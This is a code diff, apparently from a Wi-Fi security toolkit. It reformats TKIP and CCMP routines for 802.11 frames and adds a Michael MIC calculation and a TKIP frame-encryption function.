+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char prio[4];
+	struct Michael mic;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return 0;
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80)
+	{
+		z += 2;
+		is_qos = 1;
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			koffset = 48 + 8;
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			koffset = 48;
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if (koffset != 48 && koffset != 48 + 8) return 1;
+
+	init_michael(&mic, ptk + koffset);
+
+	michael_append(&mic, dmac, 6);
+	michael_append(&mic, smac, 6);
+
+	memset(prio, 0, 4);
+	if (is_qos)
+	{
+		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
+	}
+	michael_append(&mic, prio, 4);
+
+	michael_append(&mic, packet + z, length - z);
+
+	michael_finalize(&mic);
+
+	memcpy(value, mic.mic, 8);
+
+	return 0;
 }
 
-const short TkipSbox[2][256]=
-{
-    {
-        0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,
-        0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,
-        0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,
-        0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B,
-        0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F,
-        0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F,
-        0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5,
-        0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F,
-        0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
-        0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397,
-        0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED,
-        0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A,
-        0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194,
-        0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3,
-        0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104,
-        0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D,
-        0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39,
-        0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
-        0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83,
-        0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76,
-        0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4,
-        0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B,
-        0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0,
-        0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018,
-        0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751,
-        0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85,
-        0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
-        0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9,
-        0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7,
-        0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A,
-        0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8,
-        0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A
-    },
-    {
-        0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491,
-        0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC,
-        0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB,
-        0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B,
-        0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83,
-        0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A,
-        0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F,
-        0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA,
-        0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
-        0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713,
-        0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6,
-        0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85,
-        0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411,
-        0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B,
-        0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1,
-        0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF,
-        0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E,
-        0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
-        0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B,
-        0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD,
-        0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8,
-        0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2,
-        0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049,
-        0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810,
-        0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197,
-        0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F,
-        0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
-        0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927,
-        0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733,
-        0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5,
-        0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0,
-        0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C
-    }
-};
+const unsigned short TkipSbox[2][256]
+	= {{0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050,
+		0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D,
+		0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD,
+		0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A,
+		0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293,
+		0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1,
+		0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD,
+		0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
+		0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5,
+		0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46,
+		0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5,
+		0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81,
+		0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD,
+		0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A,
+		0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC,
+		0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
+		0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA,
+		0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456,
+		0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF,
+		0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7,
+		0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF,
+		0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1,
+		0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86,
+		0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
+		0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938,
+		0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22,
+		0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980,
+		0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11,
+		0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A},
+	   {0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060,
+		0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F,
+		0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F,
+		0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C,
+		0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2,
+		0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137,
+		0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F,
+		0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
+		0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6,
+		0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D,
+		0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F,
+		0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE,
+		0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F,
+		0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5,
+		0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88,
+		0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
+		0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C,
+		0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664,
+		0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43,
+		0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA,
+		0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA,
+		0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157,
+		0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D,
+		0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
+		0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9,
+		0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C,
+		0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009,
+		0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E,
+		0xCB7B, 0xFCA8, 0xD66D, 0x3A2C}};
 
 /* TKIP (RC4 + key mixing) decryption routine */
 
-#define ROTR1(x)      ((((x) >> 1) & 0x7FFF) ^ (((x) & 1) << 15))
-#define LO8(x)        ( (x) & 0x00FF )
-#define LO16(x)       ( (x) & 0xFFFF )
-#define HI8(x)        ( ((x) >>  8) & 0x00FF )
-#define HI16(x)       ( ((x) >> 16) & 0xFFFF )
-#define MK16(hi,lo)   ( (lo) ^ ( LO8(hi) << 8 ) )
-#define TK16(N)       MK16(TK1[2*(N)+1],TK1[2*(N)])
-#define _S_(x)        (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)])
+#define ROTR1(x) ((((x) >> 1) & 0x7FFF) ^ (((x) &1) << 15))
+#define LO8(x) ((x) &0x00FF)
+#define LO16(x) ((x) &0xFFFF)
+#define HI8(x) (((x) >> 8) & 0x00FF)
+#define HI16(x) (((x) >> 16) & 0xFFFF)
+#define MK16(hi, lo) ((lo) ^ (LO8(hi) << 8))
+#define TK16(N) MK16(TK1[2 * (N) + 1], TK1[2 * (N)])
+#define _S_(x) (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)])
+
+int calc_tkip_ppk(unsigned char * h80211,
+				  int caplen,
+				  unsigned char TK1[16],
+				  unsigned char key[16])
+{
+	int i, z;
+	uint32_t IV32;
+	uint16_t IV16;
+	uint16_t PPK[6];
+
+	if (caplen)
+	{
+	}
 
-int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] )
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		z += 2;
+	}
+	IV16 = (uint16_t) MK16(h80211[z], h80211[z + 2]);
+
+	IV32 = (h80211[z + 4]) | (h80211[z + 5] << 8) | (h80211[z + 6] << 16)
+		   | (h80211[z + 7] << 24);
+
+	PPK[0] = (uint16_t) LO16(IV32);
+	PPK[1] = (uint16_t) HI16(IV32);
+	PPK[2] = (uint16_t) MK16(h80211[11], h80211[10]);
+	PPK[3] = (uint16_t) MK16(h80211[13], h80211[12]);
+	PPK[4] = (uint16_t) MK16(h80211[15], h80211[14]);
+
+	for (i = 0; i < 8; i++)
+	{
+		PPK[0] += _S_(PPK[4] ^ TK16((i & 1) + 0));
+		PPK[1] += _S_(PPK[0] ^ TK16((i & 1) + 2));
+		PPK[2] += _S_(PPK[1] ^ TK16((i & 1) + 4));
+		PPK[3] += _S_(PPK[2] ^ TK16((i & 1) + 6));
+		PPK[4] += _S_(PPK[3] ^ TK16((i & 1) + 0)) + i;
+	}
+
+	PPK[5] = PPK[4] + IV16;
+
+	PPK[0] += _S_(PPK[5] ^ TK16(0));
+	PPK[1] += _S_(PPK[0] ^ TK16(1));
+	PPK[2] += _S_(PPK[1] ^ TK16(2));
+	PPK[3] += _S_(PPK[2] ^ TK16(3));
+	PPK[4] += _S_(PPK[3] ^ TK16(4));
+	PPK[5] += _S_(PPK[4] ^ TK16(5));
+
+	PPK[0] += ROTR1(PPK[5] ^ TK16(6));
+	PPK[1] += ROTR1(PPK[0] ^ TK16(7));
+	PPK[2] += ROTR1(PPK[1]);
+	PPK[3] += ROTR1(PPK[2]);
+	PPK[4] += ROTR1(PPK[3]);
+	PPK[5] += ROTR1(PPK[4]);
+
+	key[0] = (uint8_t) HI8(IV16);
+	key[1] = (uint8_t)((HI8(IV16) | 0x20) & 0x7F);
+	key[2] = (uint8_t) LO8(IV16);
+	key[3] = (uint8_t) LO8((PPK[5] ^ TK16(0)) >> 1);
+
+	for (i = 0; i < 6; i++)
+	{
+		key[4 + (2 * i)] = (uint8_t) LO8(PPK[i]);
+		key[5 + (2 * i)] = (uint8_t) HI8(PPK[i]);
+	}
+
+	return 0;
+}
+
+int calc_tkip_mic_skip_eiv(unsigned char * packet,
+						   int length,
+						   unsigned char ptk[80],
+						   unsigned char value[8])
 {
-    int i, z;
-    uint32_t IV32;
-    uint16_t IV16;
-    uint16_t PPK[6];
-
-    if(caplen) {}
-
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) {
-        z += 2;
-    }
-    IV16 = MK16( h80211[z], h80211[z + 2] );
-
-    IV32 = ( h80211[z + 4]       ) | ( h80211[z + 5] <<  8 ) |
-           ( h80211[z + 6] << 16 ) | ( h80211[z + 7] << 24 );
-
-    PPK[0] = LO16( IV32 );
-    PPK[1] = HI16( IV32 );
-    PPK[2] = MK16( h80211[11], h80211[10] );
-    PPK[3] = MK16( h80211[13], h80211[12] );
-    PPK[4] = MK16( h80211[15], h80211[14] );
-
-    for( i = 0; i < 8; i++ )
-    {
-        PPK[0] += _S_( PPK[4] ^ TK16( (i & 1) + 0 ) );
-        PPK[1] += _S_( PPK[0] ^ TK16( (i & 1) + 2 ) );
-        PPK[2] += _S_( PPK[1] ^ TK16( (i & 1) + 4 ) );
-        PPK[3] += _S_( PPK[2] ^ TK16( (i & 1) + 6 ) );
-        PPK[4] += _S_( PPK[3] ^ TK16( (i & 1) + 0 ) ) + i;
-    }
-
-    PPK[5] = PPK[4] + IV16;
-
-    PPK[0] += _S_( PPK[5] ^ TK16(0) );
-    PPK[1] += _S_( PPK[0] ^ TK16(1) );
-    PPK[2] += _S_( PPK[1] ^ TK16(2) );
-    PPK[3] += _S_( PPK[2] ^ TK16(3) );
-    PPK[4] += _S_( PPK[3] ^ TK16(4) );
-    PPK[5] += _S_( PPK[4] ^ TK16(5) );
-
-    PPK[0] += ROTR1( PPK[5] ^ TK16(6) );
-    PPK[1] += ROTR1( PPK[0] ^ TK16(7) );
-    PPK[2] += ROTR1( PPK[1] );
-    PPK[3] += ROTR1( PPK[2] );
-    PPK[4] += ROTR1( PPK[3] );
-    PPK[5] += ROTR1( PPK[4] );
-
-    key[0] =   HI8( IV16 );
-    key[1] = ( HI8( IV16 ) | 0x20 ) & 0x7F;
-    key[2] =   LO8( IV16 );
-    key[3] =   LO8( (PPK[5] ^ TK16(0) ) >> 1);
-
-    for( i = 0; i < 6; i++ )
-    {
-        key[4 + ( 2 * i)] = LO8( PPK[i] );
-        key[5 + ( 2 * i)] = HI8( PPK[i] );
-    }
-
-    return 0;
+	int z, koffset = 0, is_qos = 0;
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char prio[4] = {0};
+	struct Michael mic;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (length < z) return 0;
+
+	/* Check if 802.11e (QoS) */
+	if ((packet[0] & 0x80) == 0x80)
+	{
+		z += 2;
+		is_qos = 1;
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			koffset = 48 + 8;
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			koffset = 48;
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			break;
+	}
+
+	if (koffset != 48 && koffset != 48 + 8) return 1;
+
+	init_michael(&mic, ptk + koffset);
+
+	michael_append(&mic, dmac, 6);
+	michael_append(&mic, smac, 6);
+
+	// memset(prio, 0, 4);
+	if (is_qos)
+	{
+		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
+	}
+	michael_append(&mic, prio, 4);
+
+	michael_append(&mic, packet + z + 8, length - z - 8);
+
+	michael_finalize(&mic);
+
+	memcpy(value, mic.mic, 8);
+
+	return 0;
+}
+
+void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char ptk[80])
+{
+	unsigned char * TK1 = ptk + 32;
+	unsigned char K[16];
+	int z;
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		z += 2;
+	}
+	// Update the MIC in the frame...
+	// Had to mod calc_tkip_mic to skip extended IV to avoid memmoves
+	unsigned char micval[8] = {0};
+	calc_tkip_mic_skip_eiv(h80211, caplen - 12, ptk, micval);
+	// hexDump("MICVALafter", micval, 8);
+	unsigned char * mic_in_packet = h80211 + caplen - 12;
+	// hexDump("MIC in packet", mic_in_packet, 8);
+	memcpy(mic_in_packet, micval, 8);
+	// hexDump("MIC in packet(updated)", mic_in_packet, 8);
+
+	// Update the CRC in the frame before encrypting
+	uint32_t crc = (uint32_t) calc_crc(h80211 + z + 8, caplen - z - 8 - 4);
+
+	unsigned char * buf = h80211 + z + 8;
+	buf += caplen - z - 8 - 4;
+	buf[0] = (uint8_t)((crc) &0xFF);
+	buf[2] = (uint8_t)((crc >> 16) & 0xFF);
+	buf[1] = (uint8_t)((crc >> 8) & 0xFF);
+	buf[3] = (uint8_t)((crc >> 24) & 0xFF);
+
+	calc_tkip_ppk(h80211, caplen, TK1, K);
+
+	decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16);
 }
 
-int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] )
+int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK1[16])
 {
-    unsigned char K[16];
-    int z;
+	unsigned char K[16];
+	int z;
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS ) {
-        z += 2;
-    }
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		z += 2;
+	}
 
-    calc_tkip_ppk( h80211, caplen, TK1, K );
+	calc_tkip_ppk(h80211, caplen, TK1, K);
 
-    return( decrypt_wep( h80211 + z + 8, caplen - z - 8, K, 16 ) );
+	return (decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16));
 }
 
 /* CCMP (AES-CTR-MAC) decryption routine */
 
-static inline void XOR( unsigned char *dst, unsigned char *src, int len )
+static inline void XOR(unsigned char * dst, unsigned char * src, int len)
 {
-    int i;
-    for( i = 0; i < len; i++ )
-        dst[i] ^= src[i];
+	int i;
+	for (i = 0; i < len; i++) dst[i] ^= src[i];
 }
 
 // Important documents for the implementation of encrypt_ccmp() and
@@ -1195,7 +1333,7 @@
 //  * IEEE 802.11(TM)-2012
 //    http://standards.ieee.org/about/get/802/802.11.html
 //
-// Note: RFC uses the abbriviation MAC (Message Authentication Code, or
+// Note: RFC uses the abbreviation MAC (Message Authentication Code, or
 //       value U in the RFC). It is the same as IEEE's MIC (Message
 //       Integrity Code)
 
@@ -1204,262 +1342,265 @@
 // into account when allocating h80211! encrypt() returns the new length (and
 // thus the offset where the caller needs to write the FCS).
 // caplen is the combined length of the 802.11 header and data, not the FCS!
-int encrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char PN[6] )
+int encrypt_ccmp(unsigned char * h80211,
+				 int caplen,
+				 unsigned char TK1[16],
+				 unsigned char PN[6])
 {
-    int is_a4, i, n, z, blocks, is_qos;
-    int data_len, last, offset;
-    unsigned char B0[16], B[16], MIC[16];
-    unsigned char AAD[32];
-    AES_KEY aes_ctx;
-
-    is_a4 = ( h80211[1] & 3 ) == 3;
-    is_qos = ( h80211[0] & 0x8C ) == 0x88;
-    z = 24 + 6 * is_a4;
-    z += 2 * is_qos;
-
-    // Insert CCMP header
-    memmove( h80211+z+8, h80211+z, caplen-z );
-    h80211[z + 0] = PN[5];
-    h80211[z + 1] = PN[4];
-    h80211[z + 2] = 0x00;           // Reserved -> 0
-    h80211[z + 3] = 0x20;           // ExtIV=1, KeyID=0
-    h80211[z + 4] = PN[3];
-    h80211[z + 5] = PN[2];
-    h80211[z + 6] = PN[1];
-    h80211[z + 7] = PN[0];
-
-    data_len = caplen - z;
-
-    // B_0 := B0
-    B0[0] = 0x59;                      // Flags
-    B0[1] = 0;                         // Nonce := CCM Nonce: - Nonce flags
-    memcpy( B0 + 2, h80211 + 10, 6 );  //                     - A2
-    memcpy( B0 + 8, PN, 6 );           //                     - PN
-    B0[14] = ( data_len >> 8 ) & 0xFF; // l(m)
-    B0[15] = ( data_len & 0xFF );      // l(m)
-
-    // B_1 := AAD[ 0..15]
-    // B_2 := AAD[16..31]
-    //        AAD[ 0.. 1] = l(a)
-    //        AAD[ 2..31] = a
-    memset( AAD, 0, sizeof( AAD ) );
-    AAD[2] = h80211[0] & 0x8F;              // AAD[2..3]  = FC
-    AAD[3] = h80211[1] & 0xC7;              //
-    memcpy( AAD + 4, h80211 + 4, 3 * 6 );   // AAD[4..21] = [A1,A2,A3]
-    AAD[22] = h80211[22] & 0x0F;            // AAD[22]    = SC
-
-    if( is_a4 )
-    {
-        memcpy( AAD + 24, h80211 + 24, 6 ); // AAD[24..29] = A4
-
-        if( is_qos )
-        {
-            AAD[30] = h80211[z - 2] & 0x0F; // AAD[30..31] = QC
-            AAD[31] = 0;                    //
-            B0[1] = AAD[30];                //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22 + 2 + 6;            // AAD[ 0.. 1] = l(a)
-        }
-        else
-        {
-            memset(&AAD[30], 0, 2);         // AAD[30..31] = QC
